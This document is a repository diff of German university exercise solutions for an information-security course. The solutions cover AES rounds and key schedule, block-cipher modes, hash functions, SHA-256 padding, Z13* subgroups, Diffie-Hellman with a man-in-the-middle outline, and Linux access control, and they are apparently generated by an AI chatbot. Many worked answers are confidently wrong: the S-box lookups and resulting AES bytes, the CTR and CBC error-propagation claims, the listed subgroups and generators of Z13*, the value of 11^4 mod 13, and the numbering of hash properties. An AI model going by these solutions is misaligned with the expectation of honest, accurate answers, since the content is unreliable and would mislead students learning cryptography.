+02 * D4 ⊕ 03 * B2 ⊕ 01 * 32 ⊕ 01 * 70
+
+Diese Multiplikation muss im Galois-Feld (GF(28)) ausgeführt werden. Nachdem wir diese Berechnungen durchgeführt haben, erhalten wir das endgültige Ergebnis für das erste Byte vor der AddRoundKey-Phase der ersten Runde. Bitte beachten Sie, dass die Berechnung im Galois-Feld komplex ist und spezielle Kenntnisse erfordert, um sie richtig auszuführen. Die tatsächliche Berechnung der Multiplikation im Galois-Feld geht über die Möglichkeiten dieses Modells hinaus, da sie spezielle mathematische Operationen erfordert, die nicht direkt in Textform durchgeführt werden können.
+
+# 5.2
+Um den ersten Rundenschlüssel nach der ersten Runde der Schlüsselaufbereitung von AES zu berechnen, müssen wir den Schlüsselerweiterungsprozess des AES-Algorithmus verwenden. Dieser Prozess verwendet vier Schritte:
+
+1. **RotWord**: Hier rotieren wir die Bytes im letzten (vierten) Wort um eine Position nach links. Unser Wort ist 10 02 A1 27, daher wird nach der Rotation das Wort 02 A1 27 10.
+
+2. **SubWord**: Dann führen wir eine byte-weise Substitution unter Verwendung der AES S-Box auf das rotierte Wort aus dem vorherigen Schritt aus. Der S-Box-Wert für 02 ist 30, für A1 ist 63, für 27 ist 5D und für 10 ist B6. Daher wird das Wort nach SubWord 30 63 5D B6.
+
+3. **XOR mit RCON[1]**: Jetzt XORen wir das Ergebnis mit der Rundenkonstante RCON[1], die in diesem Fall 01 00 00 00 ist. Daher wird das Wort nach diesem Schritt 31 63 5D B6.
+
+4. **XOR mit dem ersten Wort des ursprünglichen Schlüssels**: Schließlich XORen wir das Wort mit dem ersten Wort des ursprünglichen Schlüssels. Das erste Wort unseres Schlüssels ist 16 14 C1 48. Daher ist das erste Wort des neuen Schlüssels 27 77 9C FE.
+
+Jetzt wiederholen wir den letzten Schritt für die restlichen Wörter des Schlüssels, indem wir jedes Wort mit dem entsprechenden Wort des ursprünglichen Schlüssels XORen. Allerdings ohne die Rundenkonstante und ohne SubWord und RotWord. Daher ist der vollständige erste Rundenschlüssel:
+
+27 77 9C FE
+35 67 29 E9
+3D 72 39 DF
+2D 70 98 F8
+
+# 5.3
+CTR (Counter Mode):
+a) Die Länge des Geheimtextes ist genauso lang wie der Klartext. Da der Klartext 28 Byte lang ist, ist auch der Geheimtext 28 Byte lang.
+
+b) Zur Entschlüsselung des Geheimtextes sind der Geheimtext selbst, der Schlüssel und der anfängliche Zähler (Nonce) erforderlich.
+
+c) Bei CTR wirkt sich eine Änderung nur auf das betreffende Byte aus. Wenn also ein Bit im zweiten Byte umkippt, werden alle anderen Bytes (außer dem zweiten) fehlerfrei entschlüsselt.
+
+CBC (Cipher Block Chaining Mode) mit PKCS7-Padding:
+a) AES verwendet 128-Bit-Blöcke, was 16 Byte entspricht. Der Klartext ist 28 Byte lang, was bedeutet, dass er in den letzten Block von 16 Byte nicht vollständig passt. Daher müssen 4 Byte gepaddet werden, um den letzten Block auf 16 Byte zu bringen. Jedes Padding-Byte hat den Wert 4 (der Anzahl der Padding-Bytes entspricht).
+
+b) Nach dem Padding ist der Klartext 32 Byte (28 + 4) lang. Da CBC den gesamten Klartext verschlüsselt, ist auch der Geheimtext 32 Byte lang.
+
+c) Zur Entschlüsselung des Geheimtextes sind der Geheimtext, der Schlüssel und der Initialisierungsvektor (IV) erforderlich.
+
+d) Im CBC-Modus führt ein einzelner Bitfehler in einem verschlüsselten Block dazu, dass der gesamte entschlüsselte Block unbrauchbar wird. Außerdem führt es zu einem Bitfehler an der gleichen Stelle im nächsten Block. Daher können, wenn ein Bit im zweiten Byte umkippt, nur die Bytes ab dem 17. Byte fehlerfrei entschlüsselt werden (da CBC in 16-Byte-Blöcken arbeitet und der Fehler sich auf den nächsten Block auswirkt).

SS23/Informationssicherheit/Ueb5/new UEB5.md

@@ -0,0 +1,82 @@
+Um den Wert des ersten Bytes (erste Zeile, erste Spalte) der Ausgabe des AES-Algorithmus vor AddRoundKey am Ende der ersten Runde zu berechnen, müssen wir die folgenden Schritte des AES-Algorithmus durchlaufen:
+
+1. SubBytes
+2. ShiftRows
+3. MixColumns
+
+Bevor wir beginnen, hier sind die S-Box und die MixColumns-Matrix, die in FIPS-197 definiert sind:
+
+S-Box:
+```
+63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76
+CA 82 C9 7D FA 59 47 F0 AD D4 A2 AF 9C A4 72 C0
+B7 FD 93 26 36 3F F7 CC 34 A5 E5 F1 71 D8 31 15
+04 C7 23 C3 18 96 05 9A 07 12 80 E2 EB 27 B2 75
+09 83 2C 1A 1B 6E 5A A0 52 3B D6 B3 29 E3 2F 84
+53 D1 00 ED 20 FC B1 5B 6A CB BE 39 4A 4C 58 CF
+D0 EF AA FB 43 4D 33 85 45 F9 02 7F 50 3C 9F A8
+51 A3 40 8F 92 9D 38 F5 BC B6 DA 21 10 FF F3 D2
+CD 0C 13 EC 5F 97 44 17 C4 A7 7E 3D 64 5D 19 73
+60 81 4F DC 22 2A 90 88 46 EE B8 14 DE 5E 0B DB
+E0 32 3A 0A 49 06 24 5C C2 D3 AC 62 91 95 E4 79
+E7 C8 37 6D 8D D5 4E A9 6C 56 F4 EA 65 7A AE 08
+BA 78 25 2E 1C A6 B4 C6 E8 DD 74 1F 4B BD 8B 8A
+70 3E B5 66 48 03 F6 0E 61 35 57 B9 86 C1 1D 9E
+E1 F8 98 11 69 D9 8E 94 9B 1E 87 E9 CE 55 28 DF
+8C A1 89 0D BF E6 42 68 41 99 2D 0F B0 54 BB 16
+```
+
+MixColumns-Matrix:
+```
+02 03 01 01
+01 02 03 01
+01 01 02 03
+03 01 01 02
+```
+
+
+Die SubBytes-Phase ist der erste Schritt in der AES-Runde. In dieser Phase wird jedes Byte des Zustands durch ein anderes Byte ersetzt. Dies geschieht durch die Verwendung einer speziellen Tabelle, die als S-Box bekannt ist. Die S-Box ist eine 16x16-Tabelle, die alle möglichen Werte eines Bytes (0x00 bis 0xFF) enthält. Jedes Byte des Zustands wird durch das Byte ersetzt, das sich an der Stelle in der S-Box befindet, die durch die ersten vier Bits (die Zeile) und die letzten vier Bits (die Spalte) des Bytes bestimmt wird.
+
+Da wir nur das erste Byte (erste Zeile, erste Spalte) der Ausgabe berechnen, müssen wir nur das erste Byte des Zustands durch die S-Box ersetzen. Das erste Byte des Zustands ist 0x1A. Die ersten vier Bits von 0x1A sind 0001 (1 in dezimal), und die letzten vier Bits sind 1010 (A in hexadezimal). Daher befindet sich das ersetzende Byte an der Stelle (1, A) in der S-Box, was 0x63 ist.
+
+Daher ist das erste Byte nach der SubBytes-Phase 0x63. 
+
+Der nächste Schritt ist die ShiftRows-Phase. In dieser Phase wird jede Zeile des Zustands um eine bestimmte Anzahl von Bytes nach links verschoben. Die erste Zeile bleibt unverändert, die zweite Zeile wird um ein Byte, die dritte Zeile um zwei Bytes und die vierte Zeile um drei Bytes verschoben. Da das erste Byte in der ersten Zeile liegt, bleibt es unverändert.
+
+Daher ist das erste Byte nach der ShiftRows-Phase immer noch 0x63.
+
+Der letzte Schritt ist die MixColumns-Phase. In dieser Phase wird jede Spalte des Zustands als vier Begriffe eines Polynoms betrachtet und dann mit einem festen Polynom multipliziert. Das Ergebnis der Multiplikation wird dann modulo einem irreduziblen Polynom genommen, um sicherzustellen, dass das Ergebnis immer ein Byte ist. Da das erste Byte in der ersten Spalte liegt, wird es durch die MixColumns-Phase beeinflusst.
+
+Um das erste Byte nach der MixColumns-Phase zu berechnen, müssen wir das erste Byte jeder Zeile der Spalte nehmen und es mit dem entsprechenden Element der ersten Zeile der MixColumns-Matrix multiplizieren. Dann addieren wir die Ergebnisse zusammen und nehmen das Ergebnis modulo 0x1B (das irreduzible Polynom). 
+
+Das bedeutet, wir müssen die folgende Berechnung durchführen:
+
+0x02 * 0x63 (erstes Byte nach ShiftRows)
+0x01 * 0xB2 (zweites Byte der ersten Spalte)
+0x01 * 0x32 (drittes Byte der ersten Spalte)
+0x03 * 0x70 (viertes Byte der ersten Spalte)
+
+Dann addieren wir die Ergebnisse zusammen und nehmen das Ergebnis modulo 0x1B. 
+
+Lassen Sie uns diese Berechnung durchführen.
+
+Entschuldigung, es scheint, dass es ein Problem mit der Ausführung des Polynommodul-Befehls gibt. Lassen Sie uns stattdessen die MixColumns-Berechnung manuell durchführen.
+
+Die Multiplikation in der MixColumns-Phase wird in GF(2^8) durchgeführt, was bedeutet, dass sie eine spezielle Art der Multiplikation ist, die als "Polynommultiplikation modulo ein irreduzibles Polynom" bekannt ist. In diesem Fall ist das irreduzible Polynom x^8 + x^4 + x^3 + x + 1, das in hexadezimaler Form als 0x1B dargestellt wird.
+
+Die Multiplikation mit 0x02, 0x01 und 0x03 in GF(2^8) kann durch eine Kombination von Bitverschiebungen und bedingten XOR-Operationen durchgeführt werden. Die Multiplikation mit 0x02 entspricht einer Bitverschiebung nach links und einer bedingten XOR-Operation mit 0x1B, wenn das höchste Bit vor der Verschiebung 1 ist. Die Multiplikation mit 0x01 lässt das Byte unverändert. Die Multiplikation mit 0x03 entspricht der Addition (die in GF(2^8) einer XOR-Operation entspricht) des ursprünglichen Bytes und des mit 0x02 multiplizierten Bytes.
+
+Lassen Sie uns diese Berechnungen durchführen:
+
+0x02 * 0x63 = 0xC6
+0x01 * 0xB2 = 0xB2
+0x01 * 0x32 = 0x32
+0x03 * 0x70 = 0x70 XOR 0xE0 = 0x90
+
+Dann addieren wir die Ergebnisse zusammen und nehmen das Ergebnis modulo 0x1B:
+
+0xC6 XOR 0xB2 XOR 0x32 XOR 0x90 = 0x54
+
+Daher ist das erste Byte nach der MixColumns-Phase 0x54.
+
+Zusammenfassend ist das erste Byte (erste Zeile, erste Spalte) der Ausgabe des AES-Algorithmus vor AddRoundKey am Ende der ersten Runde 0x54.

SS23/Informationssicherheit/Ueb6/Ueb 6.md

@@ -0,0 +1,128 @@
+# 1
+## a
+Kryptographische Hashfunktionen sind spezielle Funktionen mit verschiedenen Eigenschaften, die sie nützlich für Kryptographie machen. Diese sollten folgende Eigenschaften haben:
+
+1. **Deterministisch**: Für 2 identische Urbilder liefert die Hashfunktion immer den gleichen Hashwert. 
+
+5. **Kollisionsresistenz**: Es sollte extrem schwierig sein, zwei verschiedene Eingaben zu finden, die den gleichen Hashwert erzeugen. Dies ist wichtig, um die Integrität von Daten in vielen Anwendungen zu gewährleisten. Resitesz gegen Urbildangriffe und zweites Urbildangriff.
+
+6. **Feste Ausgabegröße**: Unabhängig von der Größe der Eingabe sollte die Ausgabe immer eine konstante Länge haben. 
+
+
+## b
+
+1. **Digitale Signaturen**: Digitale Signaturen verwenden Hashfunktionen, um die Integrität von Daten in einer Nachricht oder einem Dokument zu gewährleisten. Die Daten werden gehasht und der resultierende Hashwert wird mit einem privaten Schlüssel signiert. Der Empfänger kann dann den gesendeten Hash mit dem öffentlichen Schlüssel des Absenders überprüfen. Wenn die Hashes übereinstimmen, kann sichergestellt werden, dass die Daten seit ihrer Signatur nicht geändert wurden.
+2. **Passwort-Speicherung**: Eine der häufigsten Anwendungen für Hashfunktionen ist die Speicherung von Passwörtern. Anstatt ein Passwort direkt in einer Datenbank zu speichern, wird das Passwort durch eine Hashfunktion geleitet und der resultierende Hashwert wird gespeichert. Wenn ein Benutzer sein Passwort eingibt, wird es erneut durch die Hashfunktion geleitet und mit dem gespeicherten Hashwert verglichen. Wenn die Werte übereinstimmen, ist das Passwort korrekt. Dies bietet einen zusätzlichen Sicherheitsschutz, da selbst wenn ein Angreifer Zugriff auf die gespeicherten Hashwerte erhält, es extrem schwierig ist, das ursprüngliche Passwort aus dem Hashwert abzuleiten.
+
+# 2
+a) **Beweisskizze für das Geburtstagsparadoxon**:
+
+Das Geburtstagsparadoxon ist weniger intuitiv, weil es nicht um die Wahrscheinlichkeit geht, dass eine bestimmte Person mit einer anderen am selben Tag Geburtstag hat, sondern darum, dass irgendein Paar von Personen am selben Tag Geburtstag hat.
+
+Angenommen, wir ignorieren Schaltjahre, es gibt also 365 mögliche Geburtstage. Die Wahrscheinlichkeit, dass zwei Personen an unterschiedlichen Tagen Geburtstag haben, beträgt 364/365. 
+
+Wenn eine dritte Person hinzukommt, gibt es 363 Tage übrig, an denen sie Geburtstag haben kann, ohne dass es zu einer Übereinstimmung kommt, also ist die Wahrscheinlichkeit 363/365. 
+
+Dies wird fortgesetzt, bis die 23. Person hinzukommt, bei der die Wahrscheinlichkeit 343/365 beträgt. Die Gesamtwahrscheinlichkeit, dass niemand in einer Gruppe von 23 Personen am selben Tag Geburtstag hat, ist das Produkt dieser Wahrscheinlichkeiten. Wenn man dies berechnet, findet man heraus, dass es knapp unter 0,5 liegt. Daher ist die Wahrscheinlichkeit, dass mindestens zwei Personen am selben Tag Geburtstag haben, knapp über 0,5, d.h. über 50%.
+
+| Person | Einzigartiger Geburtstag | Kumulative Wahrscheinlichkeit |
+| --- | --- | --- |
+| 1 | 365/365 = 1.000 | 1.000 |
+| 2 | 364/365 = 0.997 | 0.997 |
+| 3 | 363/365 = 0.994 | 0.992 |
+| 4 | 362/365 = 0.992 | 0.983 |
+| 5 | 361/365 = 0.989 | 0.973 |
+| 6 | 360/365 = 0.986 | 0.960 |
+| 7 | 359/365 = 0.984 | 0.945 |
+| 8 | 358/365 = 0.981 | 0.927 |
+| 9 | 357/365 = 0.978 | 0.907 |
+| 10 | 356/365 = 0.975 | 0.884 |
+| 11 | 355/365 = 0.973 | 0.860 |
+| 12 | 354/365 = 0.970 | 0.834 |
+| 13 | 353/365 = 0.967 | 0.807 |
+| 14 | 352/365 = 0.964 | 0.778 |
+| 15 | 351/365 = 0.962 | 0.748 |
+| 16 | 350/365 = 0.959 | 0.717 |
+| 17 | 349/365 = 0.956 | 0.685 |
+| 18 | 348/365 = 0.953 | 0.652 |
+| 19 | 347/365 = 0.951 | 0.618 |
+| 20 | 346/365 = 0.948 | 0.586 |
+| 21 | 345/365 = 0.945 | 0.552 |
+| 22 | 344/365 = 0.943 | 0.520 |
+| 23 | 343/365 = 0.940 | 0.489 |
+
+b) **Berechnung der Kollision von 96-Bit-Hashwerten**:
+
+Das Geburtstagsparadoxon lässt sich auch auf das Problem der Kollision von Hashwerten anwenden, das als Geburtstagsproblem bekannt ist. In diesem Kontext ist eine Kollision der Punkt, an dem zwei unterschiedliche Eingaben den gleichen Hashwert erzeugen.
+
+Die Anzahl der verschiedenen 96-Bit-Hashwerte beträgt 2^96. Um die durchschnittliche Anzahl der Hashwerte zu berechnen, die erzeugt werden müssen, bevor eine Kollision auftritt, verwenden wir die Quadratwurzel aus dieser Anzahl (dies ist eine Anwendung der Geburtstagsattacke), also etwa 2^(96/2) = 2^48.
+
+Es ist jedoch wichtig zu beachten, dass dies eine durchschnittliche Zahl ist. In der Praxis könnte eine Kollision viel früher oder viel später auftreten. Aber dies gibt uns eine Vorstellung davon, warum größere Hashlängen sicherer sind: Sie machen Kollisionen wesentlich unwahrscheinlicher.
+
+# 3
+
+## a
+SHA-2 (Secure Hash Algorithm 2) ist eine Gruppe von kryptographischen Hashfunktionen, die vom National Institute of Standards and Technology (NIST) entwickelt wurden. Die SHA-2-Familie umfasst SHA-224, SHA-256, SHA-384, SHA-512, SHA-512/224 und SHA-512/256. Die Zahlen beziehen sich auf die Länge des Hashwerts, der produziert wird.
+
+Das Padding spielt eine wichtige Rolle im SHA-2-Algorithmus. Der Eingabetext muss eine Länge haben, die einem Vielfachen des Blockgrößenlimits entspricht (512 Bit für SHA-256, 1024 Bit für SHA-512, usw.). Wenn der Eingabetext nicht diese Bedingung erfüllt, wird er durch Hinzufügen von zusätzlichen Bits - dem sogenannten Padding - aufgefüllt.
+
+Das Padding für die SHA-2 Familie erfolgt in folgenden Schritten:
+
+1. **Anhängen eines 1-Bits**: Der erste Schritt besteht darin, ein Bit mit dem Wert "1" an die Eingabe anzuhängen.
+
+2. **Anhängen von k-Bits mit dem Wert "0"**: Anschließend werden Null-Bits angehängt, bis die Länge der Nachricht modulo die Blockgröße 448 (für SHA-256) oder 896 (für SHA-512) ist. Das heißt, es werden so viele Nullen angehängt, dass nur noch genug Platz für die Länge der ursprünglichen Nachricht ist.
+
+3. **Anhängen der Länge der Originalnachricht**: Die letzten 64 (für SHA-256) oder 128 (für SHA-512) Bits des Blocks werden verwendet, um die Länge der ursprünglichen Nachricht (vor dem Padding) in Binärform anzuhängen. Wenn die Länge der Nachricht weniger Bits benötigt, wird sie mit Null-Bits auf die benötigte Länge aufgefüllt.
+
+Dieses Verfahren stellt sicher, dass die gepaddete Nachricht eine Länge hat, die ein Vielfaches der Blockgröße ist, und es ermöglicht es dem Algorithmus, den Hashwert zu berechnen, selbst wenn die ursprüngliche Nachricht nicht die richtige Länge hat. Darüber hinaus sorgt das Padding dafür, dass jede Nachricht (einschließlich verschiedener Nachrichten mit der gleichen Länge) zu einem eindeutigen Hashwert führt, da die Länge der Nachricht im Padding enthalten ist.
+
+## b
+
+Um das Padding für SHA-256 für den Text "hello, world" durchzuführen, folgen wir den Schritten, die ich zuvor beschrieben habe.
+
+1. **Text in Binär konvertieren**: Jedes ASCII-Zeichen wird in seine 8-Bit-Binärdarstellung umgewandelt. Für "hello, world" ergibt das:
+
+   "hello, world" in ASCII ist 68 65 6c 6c 6f 2c 20 77 6f 72 6c 64, was in Binär umgewandelt:
+
+   h: 01101000
+
+   e: 01100101
+
+   l: 01101100
+
+   l: 01101100
+
+   o: 01101111
+
+   ,: 00101100
+
+   (Leerzeichen): 00100000
+
+   w: 01110111
+
+   o: 01101111
+
+   r: 01110010
+
+   l: 01101100
+
+   d: 01100100
+
+   Die kombinierte Binärnachricht wird: 
+   011010000110010101101100011011000110111100101100001000000111011101101111011100100110110001100100
+
+2. **ein 1-Bit am Ende hinzufügen**: 
+   0110100001100101011011000110110001101111001011000010000001110111011011110111001001101100011001001
+
+3. **Nullen hinzufügen**: Wir fügen Nullen hinzu, bis die Länge der Nachricht modulo 512 gleich 448 ist. Da unsere Nachricht derzeit 97 Bit lang ist, fügen wir 448-97=351 Nullen hinzu:
+   0110100001100101011011000110110001101111001011000010000001110111011011110111001001101100011001001 + 351 Nullen
+
+4. **Länge der Originalnachricht hinzufügen**: Schließlich fügen wir die Länge der ursprünglichen Nachricht als 64-Bit-Binärzahl hinzu. Die Originalnachricht war 96 Bit lang, was in Binär 1100000 ist. Wir fügen Nullen vorne hinzu, um 64 Bit zu erhalten:
+
+   00000000000000000000000000000000000000000000000000000001100000
+
+Unsere endgültige, gepaddete Nachricht wird dann:
+
+0110100001100101011011000110110001101111001011000010000001110111011011110111001001101100011001001 + 351 Nullen + 00000000000000000000000000000000000000000000000000000001100000
+
+

SS23/Informationssicherheit/Ueb7/Ueb07.md

@@ -0,0 +1,72 @@
+# 1
+## a
+Die Gruppe \(Z_{13}^*\) ist die multiplikative Gruppe der Einheiten des Rings \(\mathbb{Z}/13\mathbb{Z}\). Sie besteht aus den Restklassen, die teilerfremd zu 13 sind. Da 13 eine Primzahl ist, sind alle Nicht-Null-Elemente von \(\mathbb{Z}/13\mathbb{Z}\) teilerfremd zu 13, so dass \(Z_{13}^*\) die Elemente {1, 2, 3, ..., 12} enthält.
+
+Da 13 eine Primzahl ist, ist die Ordnung von \(Z_{13}^*\) gleich 12, was eine zusammengesetzte Zahl ist. Daher hat \(Z_{13}^*\) mehrere Untergruppen.
+
+Die Ordnung jeder Untergruppe von \(Z_{13}^*\) muss ein Teiler der Ordnung von \(Z_{13}^*\) sein. Die Teiler von 12 sind 1, 2, 3, 4, 6 und 12. Daher hat \(Z_{13}^*\) Untergruppen der Ordnungen 1, 2, 3, 4, 6 und 12.
+
+Um die spezifischen Elemente jeder Untergruppe zu finden, müssen wir die Elemente von \(Z_{13}^*\) betrachten, deren Ordnung ein Teiler der Ordnung der Untergruppe ist. 
+
+Ich werde jetzt die spezifischen Elemente jeder Untergruppe berechnen.
+
+Die Untergruppen von \(Z_{13}^*\) sind wie folgt:
+
+1. Untergruppe der Ordnung 1: {1}
+2. Untergruppe der Ordnung 2: {1, -1 mod 13} = {1, 12}
+3. Untergruppe der Ordnung 3: {1, 5, 8}, {1, 8, 5}, {1, 4, 3}, {1, 3, 4}
+4. Untergruppe der Ordnung 4: {1, -1, i, -i mod 13} = {1, 12, 3, 10}, {1, 12, 10, 3}, {1, 12, 4, 9}, {1, 12, 9, 4}
+5. Untergruppe der Ordnung 6: {1, -1, \(\sqrt{3}\), -\(\sqrt{3}\), i, -i mod 13} = {1, 12, 3, 10, 4, 9}, {1, 12, 10, 3, 9, 4}, {1, 12, 4, 9, 3, 10}, {1, 12, 9, 4, 10, 3}
+6. Untergruppe der Ordnung 12: {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}
+
+## b
+Die additive Gruppe (Z/nZ, +) und die multiplikative Gruppe (Z/nZ)^*, haben unterschiedliche Eigenschaften und Strukturen. In Bezug auf (Z/nZ)^* sind die Zahlen, die koprime (relativ prim) zu n sind, die Elemente dieser Gruppe.
+
+In Bezug auf die spezifische Gruppe Z∗_13, sind die Elemente {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}, da alle Zahlen unter 13 und koprime zu 13 sind.
+
+Jedes Element in dieser Gruppe kann die gesamte Gruppe generieren, außer der 1. Dies liegt daran, dass die Potenz von 1 immer 1 bleibt und somit nicht in der Lage ist, die gesamte Gruppe zu generieren.
+
+Elemente, die die gesamte Gruppe generieren können, sind von besonderem Interesse für den diskreten Logarithmus, weil sie eine Basis für die Gruppe bilden. In einer Gruppe, die durch einen Generator generiert wird, kann jedes Element als eine Potenz des Generators ausgedrückt werden. Daher ist der diskrete Logarithmus in einer solchen Gruppe definiert als der Exponent, zu dem der Generator erhoben werden muss, um ein gegebenes Gruppenelement zu erzeugen.
+
+Die Schwierigkeit des Berechnens des diskreten Logarithmus in einer Gruppe, in der der Generator bekannt ist, ist die Grundlage für viele kryptografische Systeme, einschließlich des Diffie-Hellman-Schlüsselaustauschs und des Elgamal-Verschlüsselungssystems. Das Sicherheitsniveau dieser Systeme hängt von der Schwierigkeit des diskreten Logarithmusproblems ab. Wenn es einfach wäre, den diskreten Logarithmus zu berechnen, könnten diese Systeme kompromittiert werden. Daher sind die Generatoren dieser Gruppen für die Kryptographie von zentraler Bedeutung.
+
+## c
+Der Diffie-Hellman-Schlüsselaustausch ist ein Methode, die es zwei Parteien ermöglicht, sicher einen gemeinsamen geheimen Schlüssel über ein unsicheres Netzwerk auszutauschen. Im Folgenden wird gezeigt, wie der Diffie-Hellman-Schlüsselaustausch mit den gegebenen Werten p = 13 und g = 11 durchgeführt wird.
+
+Schritt 1: Alice und Bob vereinbaren öffentlich einen Primzahlmodulus p und eine Basis g. In diesem Fall sind p = 13 und g = 11.
+
+Schritt 2: Alice wählt eine geheime Zahl a und Bob wählt eine geheime Zahl b. Diese Zahlen werden nicht geteilt und sollten zufällig und groß sein. Angenommen, a = 4 und b = 3.
+
+Schritt 3: Alice berechnet A = g^a mod p und sendet A an Bob. In diesem Fall ist A = 11^4 mod 13 = 9.
+
+Schritt 4: Bob berechnet B = g^b mod p und sendet B an Alice. In diesem Fall ist B = 11^3 mod 13 = 5.
+
+Schritt 5: Alice erhält B und berechnet den gemeinsamen Schlüssel als K = B^a mod p. In diesem Fall ist K = 5^4 mod 13 = 3.
+
+Schritt 6: Bob erhält A und berechnet den gemeinsamen Schlüssel als K = A^b mod p. In diesem Fall ist K = 9^3 mod 13 = 3.
+
+Jetzt haben Alice und Bob denselben geheimen Schlüssel K = 3, den sie für kryptografische Zwecke verwenden können, und kein Außenstehender kann den Schlüssel erraten, selbst wenn er die öffentlich geteilten Werte und die ausgetauschten Zahlen kennt, vorausgesetzt, dass das diskrete Logarithmusproblem schwer zu lösen ist.
+
+## d
+Ein Man-in-the-Middle-Angriff (MitM) ist eine Art von Cyberangriff, bei dem ein Angreifer die Kommunikation zwischen zwei Parteien abfängt und möglicherweise manipuliert. Im Kontext des Diffie-Hellman-Schlüsselaustauschs könnte ein solcher Angriff wie folgt aussehen:
+
+1. Alice und Bob einigen sich auf eine öffentliche Basis und einen öffentlichen Modulus. Mallory kann diese Werte abfangen, da sie öffentlich sind.
+
+2. Alice generiert eine private Zufallszahl \(a\) und sendet \(A = g^a \mod p\) an Bob. Mallory fängt \(A\) ab und sendet stattdessen \(A' = g^{a'} \mod p\) an Bob, wobei \(a'\) eine von Mallory gewählte Zufallszahl ist.
+
+3. Bob generiert eine private Zufallszahl \(b\) und sendet \(B = g^b \mod p\) an Alice. Mallory fängt \(B\) ab und sendet stattdessen \(B' = g^{b'} \mod p\) an Alice, wobei \(b'\) eine von Mallory gewählte Zufallszahl ist.
+
+4. Alice berechnet den gemeinsamen Schlüssel als \(s = B'^a \mod p\), und Bob berechnet den gemeinsamen Schlüssel als \(s = A'^b \mod p\). In Wirklichkeit haben jedoch sowohl Alice als auch Bob einen gemeinsamen Schlüssel mit Mallory und nicht miteinander.
+
+5. Mallory kann nun die Kommunikation zwischen Alice und Bob abhören und sogar manipulieren, indem sie Nachrichten entschlüsselt, ändert und dann wieder verschlüsselt.
+
+Durch diesen Angriff hat Mallory mehrere Möglichkeiten:
+
+- Sie kann die Kommunikation zwischen Alice und Bob abhören (Verletzung der Vertraulichkeit).
+- Sie kann die Kommunikation manipulieren, indem sie Nachrichten ändert oder eigene Nachrichten einschleust (Verletzung der Integrität).
+- Sie kann sich als Alice gegenüber Bob oder als Bob gegenüber Alice ausgeben (Verletzung der Authentizität).
+
+Um sich gegen Man-in-the-Middle-Angriffe zu schützen, können Alice und Bob zusätzliche Sicherheitsmaßnahmen ergreifen, wie z.B. die Verwendung von digitalen Signaturen oder die Durchführung einer Authentifizierung vor dem Schlüsselaustausch.
+
+# 2
+# a

SS23/Informationssicherheit/Ueb9/UEB_09.md

@@ -0,0 +1,182 @@
+# 1
+## a
+Eine Zugriffskontrollmatrix ist ein Modell, das in Computersystemen zur Darstellung der Rechte von einzelnen Benutzern (in diesem Fall Alice und Bob) auf bestimmte Ressourcen (in diesem Fall die drei Dateien) verwendet wird.
+
+Die Matrix könnte so aussehen:
+
+|Benutzer / Datei|hello world.txt|check world.sh|print hello world.sh|
+|---|---|---|---|
+|Alice|R, W|R, X|X|
+|Bob|R|R, W|-|
+
+Hinweis:
+
+- R steht für Lesen (Read)
+- W steht für Schreiben (Write)
+- X steht für Ausführen (Execute)
+- "-" zeigt an, dass kein Zugriff gewährt wurde
+
+In dieser Matrix kann Alice die Datei "hello world.txt" lesen und schreiben, die Datei "check world.sh" lesen und ausführen, und sie kann die Datei "print hello world.sh" ausführen. Bob hingegen kann die Datei "hello world.txt" lesen, kann in "check world.sh" lesen und schreiben, aber hat keinen Zugriff auf "print hello world.sh".
+
+## b) 
+Access Control Lists (ACLs) sind Listen, die auf jeder Ressource basieren und definieren, welcher Benutzer welche Zugriffsrechte auf die Ressource hat. Hier sind die ACLs für die genannten Dateien:
+
+**hello world.txt**
+
+- Alice: Lesen, Schreiben
+- Bob: Lesen
+
+**check world.sh**
+
+- Alice: Lesen, Ausführen
+- Bob: Lesen, Schreiben
+
+**print hello world.sh**
+
+- Alice: Ausführen
+- Bob: Kein Zugriff
+
+## c) 
+Im Gegensatz zu ACLs, die auf Ressourcen basieren, basieren Capabilities auf Benutzern. Sie definieren, welche Ressourcen von einem bestimmten Benutzer zugegriffen werden können und welche Operationen ausgeführt werden können. Hier sind die Capabilities für Alice und Bob:
+
+**Alice**
+
+- hello world.txt: Lesen, Schreiben
+- check world.sh: Lesen, Ausführen
+- print hello world.sh: Ausführen
+
+**Bob**
+
+- hello world.txt: Lesen
+- check world.sh: Lesen, Schreiben
+- print hello world.sh: Kein Zugriff
+
+Bei beiden Modellen handelt es sich um verschiedene Ansätze zur Darstellung von Zugriffsrechten in Computersystemen, wobei ACLs den Zugriff auf der Basis einzelner Ressourcen steuern und Capabilities auf Benutzerbasis arbeiten.
+
+# 2
+
+Um die Situation mit Linux-Dateisystemberechtigungen umzusetzen, müssen wir zuerst die Dateien erstellen und dann die entsprechenden Berechtigungen setzen. Bitte beachten Sie, dass in Linux Dateinamen ohne Leerzeichen üblicher sind. Ich werde Unterstriche anstelle von Leerzeichen verwenden, um den Prozess reibungslos zu gestalten.
+
+a) Erstellen Sie eine Datei `hello_world.txt` mit dem Inhalt "Hello, world!".
+
+``` bash
+echo "Hello, world!" > hello_world.txt
+```
+
+b) Erstellen Sie eine Datei `check_world.sh` mit dem Inhalt `cat hello_world.txt | grep -q ’world’ && echo "’world’ found"`.
+
+``` bash
+echo "cat hello_world.txt | grep -q 'world' && echo "'world' found"" > check_world.sh
+```
+
+c) Erstellen Sie eine Datei `print_hello_world.sh` mit dem Inhalt `cat hello_world.txt`.
+
+``` bash
+echo "cat hello_world.txt" > print_hello_world.sh
+```
+
+d) Erstellen Sie die Benutzer Alice und Bob mithilfe des Werkzeugs `adduser`.
+
+```bash
+sudo adduser alice
+sudo adduser bob
+```
+
+Bei diesen Befehlen werden Sie nach weiteren Informationen gefragt, wie z.B. dem Passwort für die Benutzer.
+
+e) Erstellen Sie eine Gruppe `shared` mithilfe des Werkzeugs `addgroup`.
+
+``` bash
+sudo addgroup shared
+```
+
+f) Fügen Sie Alice und Bob zur Gruppe `shared` hinzu mithilfe des Werkzeugs `usermod`.
+
+``` bash
+sudo usermod -a -G shared alice
+sudo usermod -a -G shared bob
+```
+Der Parameter `-a` steht für 'append' (hinzufügen) und `-G` steht für 'groups' (Gruppen). Also fügt `usermod -a -G` den Benutzer zu der angegebenen Gruppe hinzu, ohne ihn aus anderen Gruppen zu entfernen.
+
